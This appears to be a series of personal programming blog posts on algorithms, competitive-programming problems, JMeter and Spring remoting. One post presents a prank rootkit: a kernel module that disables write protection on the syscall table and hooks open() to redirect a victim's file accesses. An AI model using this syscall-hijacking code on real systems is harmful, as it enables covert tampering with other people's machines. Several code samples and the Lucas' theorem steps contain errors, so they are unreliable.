Segment Trees and lazy propagation

In this topic i will explain a very interesting data structure that can be used to solve a specific set of problems. I will start by explaining its definition and the proceeding with an example problem to solve with it.

Table of contents:

• What  is segment trees?
• Order of growth of segment trees operations
• Show me your code
• Lazy propagation
• Sample problems to try 
• References

What is segment trees?

Segment Trees is a Tree data structure for storing intervals, or segments, It allows querying which of the stored segments contain a given point. It is, in principle, a static structure; that is, its content cannot be modified once the structure is built. It only uses O(N lg(N)) storage.

A segment trees has only three operations: build_tree, update_tree, query_tree.

Building tree: To init the tree segments or intervals values

Update tree: To update value of an interval or segment

Query tree: To retrieve the value of an interval or segment

Example Segment Tree:

• The first node will hold the information for the interval [i, j]
• If i<j the left and right son will hold the information for the intervals [i, (i+j)/2] and [(i+j)/2+1, j]

Notice that the height of a segment tree for an interval with N elements is [logN] + 1. Here is how a segment tree for the interval [0, 9] would look like:

 

Order of growth of segment trees operations

• build_tree: O(N lg(N)) 
• update_tree: O(lg(N + k)) 
• query_tree: O(lg(N + k))

K = Number of retrieved intervals or segments

Show me your code

 

Lazy Propagation 

Sometimes a segment tree operation wouldn't survive if the problem constraints is too large, here it come lazy propagation along with the segment tree.

In the current version when we update a range, we branch its childs even if the segment is covered within range. In the lazy version we only mark its child that it needs to be updated and update it when needed.




Note: Read my solution for problem Can you answer these queries I in this article.


Sample Problems to try

• Quadrant Queries
• D-Query
• Can You answer these queries I

References

• Wiki 
• Topcoder tutorials

Lucas' Theorem to solve binomial coefficients

I am happy cause only one problem and i will be done solving interviewstreet mathematical problems. After solving the Binomial Coefficients  problem i think i have something useful to share with you.

In this problem you are given two number N and P, where P is a prime number. You are requested to find how many binomial coefficients of n become to 0 after modulo by P.

So the output should be the number of  s (0<=k<=n)  each of which after modulo operation by P is 0.

I hear you saying its an easy problem, but you won't say that after knowing about the input constraints.

Constraints:

n is less than 10⁵⁰⁰.

P is less than 10⁹.

For such large number i will use Java to solve this problem, thanks to the BigInteger Class in java. After doing some search i found that there is a theorem called Lucas' Theorem which is as follows:

Given n, k, and prime p, binomial (n,k) is divisible by p if and only if at least one of  the base p digits of k is larger than the corresponding digit of m (also base p digit).

So to solve this problem we need to find the base P representation of n, and counting how many numbers (R) that have all digits (in base P) less than the corresponding digit in n.

1. We have k is between 0 and n, so we have (n+1) numbers to check with n.

2. Now need to find R.

Now if n in base P is as follows: abc...

Then we need to get all numbers that have:

1. First digit is 0, 1, 2, .... a-1

2. Second digit is 0, 1, 2, .... b-1

3. Third digit is 0, 1, 2, ...., c-1

Obviously R = (a+1)*(b+1)*(c+1).

So we have (n+1) total numbers, subtracting  R, then the result would be n+1-R.

Hacking linux keyboard

Now again with another interesting kernel hack, in this post i will show you a sample input device that report keyboard events without pressing any keys. In this sample i will report the left arrow key pressed event whenever the user pressing any key.

Actually i was building a new keyboard hardware with its device driver, but as i don't have time to share a video with you now about my new se7so keyboard, i thought about something interesting to share with you :).

As the user will be forced to write from right to left, instead of writing from left to right, I was trying to login my machine and because of the module was loaded i was forced to write my password from right to left :D "what comes around, goes around".

You can download the code from sourceforge.

Enjoy the video ;).

Apache JMeter along with jsf pages

Two days ago i was allocated a task from my team leader to load test our new web application after deploying it on the production environment. We used lots of open source technologies in this application but the main challenge was to configure JMeter to pass the JSF login page that contains a button posts to a JSF action.

If you don't know about JMeter, you may need to read this topic on my blog.

Step 1: Creating a Thread Group with the following configuration:

Name: Schindler Thread Group

Number of threads (Users): 300

Ramp-Up Period (In seconds): 2

Loop count: 2

Step 2: Creating Once Only Controller under the Thread Group with the following configuration:

Name: Schindler Login

Step 3: Creating an HTTP Request under the Once Only Controller with the following configuration

Name: Initial Login request

Server Name: my.server.name

Port Number: 80

Path: /Schindler-web/login.xhtm

Implementation: Java

Protocol: HTTP

Method: GET

Follow Redirects: True

Step 4: Creating an XPath Extractor to extract the view state of the login button

Name: Xpath Extractor

ِApply to: Main sample only

Reference name: myViewState

XPath query: //input[@id='javax.faces.ViewState']/@value

Step 5: Creating an HTTP Request to submit credentials to the jsf login action with the following config

Name: Auth

Server Name: my.server.name

Port Number: 80

Path: /Schindler-web/login.xhtml

Implementation: Java

Protocol: HTTP

Method: POST

Follow Redirects: True

Use KeepAlive: True

Parameters:

j_username : admin : encode = true : include equals = true

j_password : password : encode = true : include equals = true

javax.faces.ViewState : ${myViewState} : include equals = true

login : Login : include equals = true

loginForm : loginForm : include equals = true

Step 6: In the same level of the Once Only Controller create an HTTP URL Re-writing modifier to extract the session id with the following configuration

Name: HTTP URL Re-writing Modifier

Session Argument Name: JSESSIONID

Cache Session ID = true

Step 7: Create an HTTP Cookie Manager to save the session id and sending it along with all the requests

Name: HTTP Cookie Manager

Step 8: Create some listeners to view the results in my case i preferred to use View Results in Table, Graph Results, and View Results Tree.

Table View

Graph View

Tree View

Notes: To be able to survive any problems you face, use Firebug to check the request on your browsers and what are the parameters sent along with the request and make sure that your jmeter requests are configured with the same parameters and values.

Impartial games problems

Again with a new problem, but this time i will explain a very nice approach to solve a specific set of problems located under the category of game theory.

Impartial games

In combinatorial game theory, an impartial game is a game in which the allowable moves depend only on the position and not on which of the two players is currently moving, and where the payoffs are symmetric. In other words, the only difference between player 1 and player 2 is that player 1 goes first.

Impartial games include Nim, Sprouts, Kayles, Quarto, Cram, Chomp, and poset games. I will explain the nim problem and how to solve it, then i will move to the Stone Piles problem that i solved this week.

 

Nim Problem

Nim is a game in which two players take turns removing objects from distinct heaps. On each turn, a player must remove at least one object, and no more than a set maximum number from the heap.

An example normal play game is shown below:

A B C
3 4 5 I take 2 from A
1 4 5 You take 3 from C
1 4 2 I take 1 from B
1 3 2 You take 1 from B
1 2 2 I take entire A heap leaving two 2’s.
0 2 2 You take 1 from B
0 1 2 I take 1 from C leaving two 1’s.
0 1 1 You take 1 from B
0 0 1 I take entire C heap and win.

What is your winning strategy? 

Luckily, we can find one. Nim has been solved for all starting positions and for any number of heaps. First we’ll look at different types of game positions, then we’ll do some work with “nimbers” (yes, that really is a word) and then apply them to finding a solution to Nim.

Types of impartial game positions

• A game is in a P-position if it secures a win for the Previous player (the one who just moved).
• A game is in a N-position if it secures a win for the Next player.

So in normal play Nim with three heaps, (0,0,1) is an N-position and (1,1,0) is a P-position. We call the position from which no possible moves are left a terminal position. To find whether a Nim position is N or P, we work backwards from the end of the game to the beginning in a process called backwards induction:

1. Label every terminal position as P.
2. Label every position that can reach a P position as N.
3. For positions that only move to N positions, label P.
4. At this point either all positions are labeled or return to step 2 and repeat the process until all positions are labeled.

Applying these rules to Nim, we first set the only terminal position (in other games there could be many) 0,0,0, to P. It is obvious that any position (0,0,n) is an N position, since the next player can just take the last heap in one turn.

Nimber arithmatic

The key operation in the solution to Nim is binary addition without carrying. To add two numbers in this manner, first write out their binary expansions, and then take the exclusive or (XOR) of the two numbers bit by bit.

Theorem 1. A position, (x1, x2, x3), in Nim is a P-position if and only if the nim-sum of its components is zero, x1 ⊕ x2 ⊕ x3 = 0. As an example, take the position (x1, x2, x3) = (13, 12, 8). Is this a P-position? If not, what is a winning move? We compute the nim-sum of 13, 12 and 8:
 

13 = 11012
12 = 11002
8 = 10002
nim-sum = 10012 = 9
 

Since the nim-sum is not zero, this is an N-position according to Theorem 1. Can you find a winning move? You must find a move to a P-position, that is, to a position with an even number of 1’s in each column. One such move is to take away 9 chips from the pile of 13, leaving 4 there. The resulting position has nim-sum zero:

4 = 1002
12 = 11002
8 = 10002
nim-sum = 00002 = 0

Another winning move is to subtract 7 chips from the pile of 12, leaving 5. Check it out.

Now we can solve the Nim game with any number of piles.

Stone Piles problem

This is a much harder problem in which we are going to move to another theorem called Sprague Grundy theorem, in which will help us solving this problem.

You can view this problem at interviewstreet.com using this link. However in this problem the game described as below:

There are N piles of stones where the ith pile has x_i stones in it. Alice and Bob play the following game:

• a. Alice starts, and they alternate turns.

• b. In a turn, a player can choose any one of the piles of stones and divide the stones in it into any number of unequal piles such that no two of the piles you create should have the same number of stones. For example, if there 8 stones in a pile, it can be divided into one of these set of piles: (1,2,5), (1,3,4), (1,7), (2,6) or (3,5). 

• c. The player who cannot make a move (because all the remaining piles are indivisible) loses the game.

Given the starting set of piles, who wins the game assuming both players play optimally?

Sprague Grundy Theorem

Definition: A directed graph G(X,F) Where A directed graph, G, is a pair (X,F) where X is a nonempty set of vertices (positions) and F is a function that gives for each x ∈ X  a subset of X, where each of them is a position reachable from x.

The Sprague-Grundy function of a graph, (X,F), is a function, g, defined on X and taking non-negative integer values, such that g(x) =min{n ≥ 0 : n = g(y) for y ∈ F(x)}.

In words, g(x) the smallest non-negative integer not found among the Sprague-Grundy values of the followers of x. If we define the minimal excludant, or mex, of a set of non-negative integers as the smallest non-negative integer not in the set, then we may write simply g(x) =mex{g(y) : y ∈ F(x)}.

Mex means Minimum Excluded Value. Below are some practice examples:

mex({2,4,5,6}) = 0
mex({0,1,2,6}) = 3

Now how to solve the stone piles game?

1. Mark all terminal nodes sg = 0 (In this case its 1 and 2 as the player will not be able to divide them)

2. For each pile compute the sg value of it

3. Get the nim-sum of all the sg values of the piles, if 0 then BOB wins, else ALICE wins.

How to get the sg value of a number?

1. DFS all the possible divisions of this pile

2. Recursively compue the sg values of all the possible divisions

3. Return the mex out of them

Now i am done explaining the whole topic, i think its really interesting and i suggest you solving more problems as i will do isA.

Matrix exponentiation to solve linear recurrence

The last weekend i was trying to solve a problem called Circle Summation on interviewstreet.com, if you have account you can view it using this link. However the problem is that we have N children sitting along a circle, numbered 1,2,...,N clockwise. The i^th child has a piece of paper with number a_i written on it.  They play the following game:

In the first round, the child numbered x adds to his number the sum of the numbers of his neighbors. In the second round, the child next in clockwise order adds to his number the sum of the numbers of his neighbors, and so on. The game ends after M rounds have been played.

Given N, M, and X's, Formulate the following output:

Output N lines each having N integers. The j^th integer on the i^th line contains the number that the j^th child ends up with if the game starts with child i playing the first round. Output a blank line after each test case except the last one. Since the numbers can be really huge, output them modulo 1000000007.  

As you can see we can represent this problem as a linear recurrence where F(N) = F(N-1) + F(N) + F(N+1).

A linear recurrence is a sequence of numbers, in which we can compute the nth term from the existent of other terms (e.g., Fibonacci sequence).

For example in the fibonacci series we can represent the sequence using the following recurrence equation:

Where 

Now by looking into the following recurrence we can represent it with this equation x_i+1 = Mx_i, for some constant matrix M.

| f(n+1) | = | 1 1 | x | f(n)   |
| f(n)   |   | 1 0 |   | f(n-1) |        => (1)

From (1) We can see that we can find F(N), by solving M^n. (Prove it, using math induction).

By analyzing the previous equation we can find that we will do O(M^3) operations for matrix multiplication where M is a very small number, and for the power function we can do it in O(Log(N)) operations, that will lead us to O(M^3 Log(N)) to solve fibonacci numbers.

Now, Can you solve the circle summation problem? :).. I solved it..

Number of positive integral solutions for an equation

In this post i will explain my solution for a very nice mathematical problem. If you have an account on interviewstreet, you can view it using this link EQUATIONS. However in this problem you have the following equation (1/X) + (1/Y) = 1/N! and N is given, And you have to find all the valid pairs of X, and Y that solve this problem.

One can say that the simplest way is to iterate through all possible Xs, and Ys checking the pairs that solve the equation. But what if N is equal 10^6 for example?.

First lets define M = N!, then we have:

1x+1y=1N!=1M

Lets also define that X = M+a and Y = M+b. where (a, b) could be positive or negative numbers, then we have:

⇒2M+a+b(M+a)(M+b)=1M

We can solve the above equation and we will get the following:

2M2+M(a+b)=M2+M(a+b)+ab

⇒M2=ab

Now look at all the divisors of M2=(N!)2 and find the values of a and b and hence find the values of x and y.

So we need to know how many divisors (N!)^2 have. As you may know that the number of divisors of a number equals the result of multiplying the exponents of the prime factors of this number.
So    
So if we have n = a^x * b^y * c^z, where (a, b, c) are the prime factors of n, then the number of divisors of n = (x+1)*(y+1)*(z+1), I hear you asking why?

As you can see that all the divisors of n are multipliers of the prime factors of n.

So a could be chosen (x+1) times (0, 1, 2, ... x) times,
b could be chosen (y+1) times (0, 1, 2, .... y) times,
c could be chosen (z+1) times (0, 1, 2, ... z) times.

Now you have all the ideas that make a solution, show me your skills :)

Java: Spring Framework 2.x Remoting Support

Welcome to my first post after my wedding vacation. In this post i will introduce Spring's support for various remoting technologies, such as RMI, Hessian, Burlap, HTTP Invoker, and Web Services.

I will introduce Spring Web Services in a another post, but in this post i will briefly explain the other techniques.

Table of Contents

• Introduction
• Spring RMI "Remote Method Invocation" support
• Exposing an RMI service
• Invoking an RMI service

• Spring Exposing/Invoking services through HTTP
• Hessian
• Burlap

• Conclusion
• References

Introduction

Remoting is a key technology in developing distributed applications, especially multitier enterprise applications. It allows different applications, or components running on different JVMs or on different machines to communicate and work together using a specific protocol.

Spring RMI "Remote Method Invocation" support

RMI is a java based remoting technology that allows two java applications running on different JVMs and/or machines to communicate with each other. With RMI an object can call the methods of another remote object. RMI relies on object serialization to marshal and unmarshal method arguments and return values.

Suppose you would like to expose a weather service as an RMI service. To use Spring’s remoting facilities for this purpose, create a bean configuration file such as rmi-server.xml in the classpath root to define the service. In this file, you declare a bean for the weather service implementation and export it as an RMI service by using RmiServiceExporter.

<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans-2.5.xsd">

<bean id="weatherService"

class="com.example.WeatherServiceImpl" />

<bean class="org.springframework.remoting.rmi.RmiServiceExporter">

<property name="serviceName" value="WeatherService" />

<property name="serviceInterface"
value="com.example.WeatherService" />
<property name="service" ref="weatherService" />

</bean>

</beans>

In the rmi-server.xml example we have two beans configured one of them is a simple weather service bean, and the other one is to export this bean as RMI service using RMIServiceExporter. In the second bean we have different properties such as serviceName to configure the service name, and serviceInterface that is the interface of the implemented service, and the service property that references the actual service.

By default, RmiServiceExporter attempts to look up an RMI registry at localhost port 1099. If it can’t find the RMI registry, it will start a new one. However, if you would like to bind your service to another running RMI registry, you can specify the host and port of that registry in the registryHost and registryPort properties. Note that once you specify the registry host, RmiServiceExporter will not start a new registry, even if the specified registry doesn’t exist.

To start a server that provides the RMI weather service, run the following class to create an application context for the preceding bean configuration file:

public class RmiServer {

public static void main(String[] args) {

new ClassPathXmlApplicationContext("rmi-server.xml");

}

}

In a client environment you can use RmiProxyFactoryBean to create a proxy for the remote service and you can use this service as if it were a local bean. By setting the serviceUrl property of the RmiProxyFactoryBean to "rmi://localhost:1099/WeatherService" and serviceInterface property to "com.example.rmi.WeatherService" you will be able to use this service locally.

Spring Exposing/Invoking services through HTTP

As RMI communicates over its own protocol, which may not be able to pass through firewalls, you would like to expose a service from your Java application for clients to invoke over HTTP, which is allowed to pass through most firewalls.

Hessian and Burlap are two simple lightweight remoting technologies developed by Caucho Technology. They both communicate using proprietary messages over HTTP and have their own serialization mechanism, but they are much simpler than web services. The only difference between them is that Hessian communicates using binary messages while Burlap communicates using XML messages.

In addition to the preceding two technologies, the Spring framework itself also offers a remoting technology called HTTP Invoker. It also communicates over HTTP, but uses Java’s object serialization mechanism to serialize objects. Unlike Hessian and Burlap, HTTP Invoker requires both sides of a service to be running on the Java platform and using the Spring framework. However, it can serialize all kinds of Java objects, some of which may not be serialized by Hessian/Burlap’s proprietary mechanism.

To expose a Hessian service with Spring, you have to create a web application using Spring MVC "Include hessian.jar".

To expose our WhetherService as a Hessian service using HessianServiceExporter.

<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans-2.5.xsd">

<bean id="weatherService"
class="com.example.WeatherServiceImpl" /> 

<bean name="/WeatherService"
class="org.springframework.remoting.caucho.HessianServiceExporter">

<property name="service" ref="weatherService" />
<property name="serviceInterface"
value="com.example.WeatherService" />

</bean>

</beans> 

In a client environment you can use HessianProxyFactoryBean to create a proxy for the remote service and you can use this service as if it were a local bean. By setting the serviceUrl property of the HessianProxyFactoryBean to "rmi://localhost:1099/WeatherService" and serviceInterface property to "com.example.rmi.WeatherService" you will be able to use this service locally.

To expose a Burlap service use BurlapServiceExporter and to invoke it use BurlapProxyFactoryBean instead.

To expose a service using spring HTTP Invoker you need to use HttpInvokerServiceExporter and HttpInvokerProxyFactoryBean.

Conclusion

In this post, you have learned how to expose and invoke remote services with Spring’s remoting support. Spring builds in support for many remoting technologies, such as RMI, Hessian, Burlap, and HTTP Invoker.

Spring’s remoting support is consistent across different remoting technologies. On the server side, Spring allows you to expose an arbitrary bean as a remote service through a service exporter. On the client side, Spring provides various proxy factory beans for you to create a local proxy for a remote service, so that you can use the remote service as if it were a local bean.

In the next post i will introduce Spring Web Services which is a yet another way for our applications to support remoting.

References

• Spring recipes - A Problem-Solution Approach

Hijacking linux system calls - RootKit

This is me again, but this time i will introduce how to develop a linux kernel module that intercepts linux system calls.

In this example i will sniff all the "open" system calls issued by the running processes on the victim's host checking if he is going to open a TAMER HOSNY's song and acting upon that :).

In order to do this we need to do the following:

• Alter the system call table to refer to our fake method
• Bypass the kernel write protection mode

The first step is not an easy task because we have two obstacles, the first of them is that the system call table is not exposed by the system no more, the second is that we don't have permission to edit it.

In order to overcome on the first one we will use the system map to know the address of the system call table.

# cat /boot/System.map-2.6.32-33-generic | grep sys_call_table

Now we have the address but we can't alter the table because its in read only mode, So we need to change its memory page from read only to read write mode using the following code:

int set_addr_rw(long unsigned int _addr)

{

    unsigned int level;

    pte_t *pte = lookup_address(_addr, &level);

    if (pte->pte &~ _PAGE_RW) pte->pte |= _PAGE_RW;

}

Now we can alter the table to point to our fake open system call:

asmlinkage int new_open(const char *pathname, int flags) { 

  // hijacked open

  const char* my_path = "/home/husseincoder/Desktop/amr.mp3";
  int res;

  if(strstr(pathname, ".mp3") != NULL 

&& strstr(pathname, "tamer") != NULL) {  

     printk(KERN_ALERT "OPEN HIJACKED %s\n", pathname);
     memcpy(pathname, my_path, strlen(my_path)+1);
  }
  return (*original_open)(pathname, flags);
}

And altering the sys call table in the init method: 

syscall_table[__NR_open] = new_open;

When unloading the module we need to clean up our mess by changing the sys call table page to read only again by calling this method

int set_addr_ro(long unsigned int _addr)
{
    unsigned int level;
    pte_t *pte = lookup_address(_addr, &level);

    pte->pte = pte->pte &~_PAGE_RW;
}

We can load the module this way: 

# sudo insmod hijack-syscall.ko

Unload it this way:

# sudo rmmod hijack-syscall

Now the time for testing this ;) 

You can download the source code from sourceforge.

See the video demo:

The post is finished and i hope you find it useful. 

Problem solving techniques (Example problems) (Cont.)

In this post i will show you when to use graphs to solve specific type of problems. To know about graphs and other problem solving techniques you may need to read this.

Problem 14 (Shortest path)

Given a set of cities' paths represented as a two dimensional array grid where grid[i][j] = 1 iff there exists a path between city i to city j. Given two cities src and dst, find the shortest path to go from src to dst. If there is no such path return -1.

Solution // In this problem i will show you how to use BFS to get shortest path

#define N 10 // For the example

int prev[N];
int vis[N];

int find_shortest_path(int paths[][N], int src, int dst) {
    memset(vis, 0, sizeof vis);
    memset(prev, -1, sizeof prev);
   
    queue<int> q;
    q.push(src); // First city
   
    while(!q.empty()) {
        int city = q.front();
        q.pop();

        if(city == dst) break; // We arrived
       
        for(int i = 0; i < N; i++) {
            if(paths[city][i] && !vis[i]) {
                prev[i] = city;
                q.push(i);
                vis[i] = 1;
            }
        }
    }
   
    if(prev[dst] == -1) return -1;
   
    int city = dst, res = 0;
    while(prev[city] != -1) { // Exercise: print the path
        city = prev[city];
        res ++;
    }
 
    return res;
}


Problem 15 (GrafixMask)

SRM 211 DIV-1 Medium

In one mode of the grafix software package, the user blocks off portions of a masking layer using opaque rectangles. The bitmap used as the masking layer is 400 pixels tall and 600 pixels wide. Once the rectangles have been blocked off, the user can perform painting actions through the remaining areas of the masking layer, known as holes. To be precise, each hole is a maximal collection of contiguous pixels that are not covered by any of the opaque rectangles. Two pixels are contiguous if they share an edge, and contiguity is transitive.

You are given a vector<string> named rectangles, the elements of which specify the rectangles that have been blocked off in the masking layer. Each String in rectangles consists of four integers separated by single spaces, with no additional spaces in the string. The first two integers are the window coordinates of the top left pixel in the given rectangle, and the last two integers are the window coordinates of its bottom right pixel. The window coordinates of a pixel are a pair of integers specifying the row number and column number of the pixel, in that order. Rows are numbered from top to bottom, starting with 0 and ending with 399. Columns are numbered from left to right, starting with 0 and ending with 599. Every pixel within and along the border of the rectangle defined by these opposing corners is blocked off.

Return a vector<int> containing the area, in pixels, of every hole in the resulting masking area, sorted from smallest area to greatest.

Solution

#define tall 400
#define width 600

bool Grid[tall][width]; // Represent the graph as a matrix
int nx[] = {0,0,1,-1};  // Sentinels
int ny[] = {-1,1,0,0}; // Sentinels

struct node {            // Graph node
    int x, y;
    node(int x,int y){
        this->x = x;
        this->y = y;
    }
};

int Fill(int x,int y)
{
    stack<node> s; // use DFS
    s.push(node(x,y));

    int result = 0;
    while(!s.empty())
    {
        node top = s.top();
        s.pop();

        if(Grid[top.x][top.y]) continue;

        Grid[top.x][top.y] = true;

        result++;

        for(int f= 0;f<4;f++)
        {
            int newX = top.x+nx[f];
            int newY = top.y+ny[f];
          
            if(!(newX<0 || newX >= tall || newY < 0 || newY >= width || Grid[newX][newY]))  
                     s.push(node(newX, newY));
        }
    }

    return result;
}

class grafixMask
{
public:
    vector <int> sortedAreas(vector <string> rect)
    {
        vector<int> answer;
        stringstream ss;
        int x,y,z,w;
           
        int i;
        for(i = 0;i<rect.size();i++)
        {
            ss << rect[i];
            ss >> x >> y >> z >> w;
           
            for(int j = x;j<=z;j++)
            for(int s= y; s<=w; s++)
                Grid[j][s] = true;
        }
       
        for(i = 0; i<tall; i++)
        for(int j = 0; j<width; j++)
            if(!Grid[i][j])
                answer.push_back(Fill(i,j));

        sort(answer.begin(),answer.end());

        return answer;
    }
};

Problem 16 (Shortest path)

Same as problem 14 but path[i][j] = c, that means path from city i to city j equals c KM. find the shortest path from city src, to city dst. In this problem we won't be able to use BFS. Why?

Dijkstra Solution

#define N 5

int graph[N][N];
bool vis[N];

struct node {
    int indx;
    int cst;
};

bool operator < (const node& n1, const node& n2) {
    return n1.cst > n2.cst;
}

int dijkstra(int src, int dst) {
    priority_queue<node> pq;
    pq.push(node(src, 0));
   
    while(!pq.empty()) {
        node n = pq.top();
        pq.pop();
       
        if(vis[n.indx]) continue;
        else if(n.indx == dst)          
                   return n.cst;

        vis[n.indx] = true;
       
        for(int i = 0; i < N; i++)
            if(graph[n.indx][i] != INT_MAX)
                pq.push(node(i, n.cst+graph[n.indx][i]));
     }
   
    return -1;
}

Floyd Warshall  Solution

int floyd_warshall()
{
    int i, j, k;
   
    for(k = 0; k < N; k++)
    for(i = 0; i < N; i++)
    for(j = 0; j < N; j++)
    if(graph[i][k] != INT_MAX && graph[k][j] != INT_MAX)
    graph[i][j] = min(graph[i][j], graph[i][k]+graph[k][j]);

    cout << graph[0][3] << endl;
}

In the next post i will show you examples to Maximum flow and Minimum Cut problems.

Problem solving techniques (Example problems) (Cont.)

Time for backtracking is now. In this post i will show you how to use backtracking solving a specific type of problems. To know about backtracking please revise previous posts.

Problem 10 (8 Queens problem)

 The eight queens puzzle is the problem of placing eight chess queens on an 8×8 chessboard so that no two queens attack each other. Thus, a solution requires that no two queens share the same row, column, or diagonal.

Solution

  

/**

 * rows: Each cell represents the col number that will contain a queen in this row

 * curRow: The current row to be filled

**/

int cnt = 0;
void place_8_queens(int rows[], int curRow) {
    if(curRow >= 8) {
        for(int i = 0; i < 8; i++) cout << rows[i] << " ";
        cout << endl;
        cnt++;
        return;
    }
  
    for(int i = 0; i < 8; i++) {
        bool valid = true;
        for(int j = 0; j < curRow; j++)
            if(rows[j] == i || (i == rows[j]+(curRow-j)) || (i == rows[j]-(curRow-j)))
                valid = false;
       
        if(valid) {
            rows[curRow] = i;
            place_8_queens(rows, curRow+1);
        }
    }
}

int main() {
    int rows[8];
  
    place_8_queens(rows, 0);
    cout << "There are " cnt << " valid placement." << endl;
}

Problem 11 (Tree Find)

In this problem given a tree whith the following definition:

struct node {
    int val;                    // Current node value
    vector<int> childs; // Contains the indices of the cilds nodes
};

vector<node> tree;   // Tree[0] is the tree root

and an element, find this element.

Solution

This solution is a DFS (Depth first search) where at each time visiting a node, check if it holds the element return true, else find it in its childs.

bool search_tree(node cur, int elem) {
    if(cur.val == elem) return true;
   
    for(int i = 0; i < cur.childs.size(); i++)  // Search all childs of current node
        if(search_tree(tree[cur.childs[i]]), elem) return true; // Found it, return true
       
    return false; // not found neither in this node nor in its child, then backtrack
}

int main() {
    search_tree(tree[0], -21);
}

Problem 12 (Sudoku)

Sudoku puzzles consists of a partially completed row-column grid of cells partitioned into N regions or zones each of size N cells, to be filled in using a prescribed set of N distinct symbols (typically the numbers {1, ..., N}), so that each row, column and region contains exactly one of each element of the set. The puzzle can be solved using a variety of algorithms. Here is the backtracking way to solve it:

#define N    3 // For learning purposes

bool check_row(int grid[][N], int row, int col, int a) {
    for(int i = 0; i < col; i++)
        if(grid[row][i] == a) return false;
      
    return true;
}

bool check_col(int grid[][N], int row, int col, int a) {
    for(int i = 0; i < row; i++)
        if(grid[i][col] == a) return false;
      
    return true;
}

void small_sudoku(int grid[][N], int i, int j) {
    vector<int> allowed_nums;
    int a;
   
    for(a = 1; a <= N; a++) {
        if(check_row(grid, i, j, a) && check_col(grid, i, j, a)) {
            grid[i][j] = a;
              
            if(j < N-1) small_sodoku(grid, i, j+1);
            else if(j == N-1 && i < N-1) small_sodoku(grid, i+1, 0);
            else {
                cout << "Found placement" << endl;
              
                for(int r = 0; r < N; r++) {
                    for(int c = 0; c < N; c++)
                        cout << grid[r][c] << " ";
                    cout << endl;
                }
            }
        }
    }
}

In the next post i will show you how to solve graph related problems.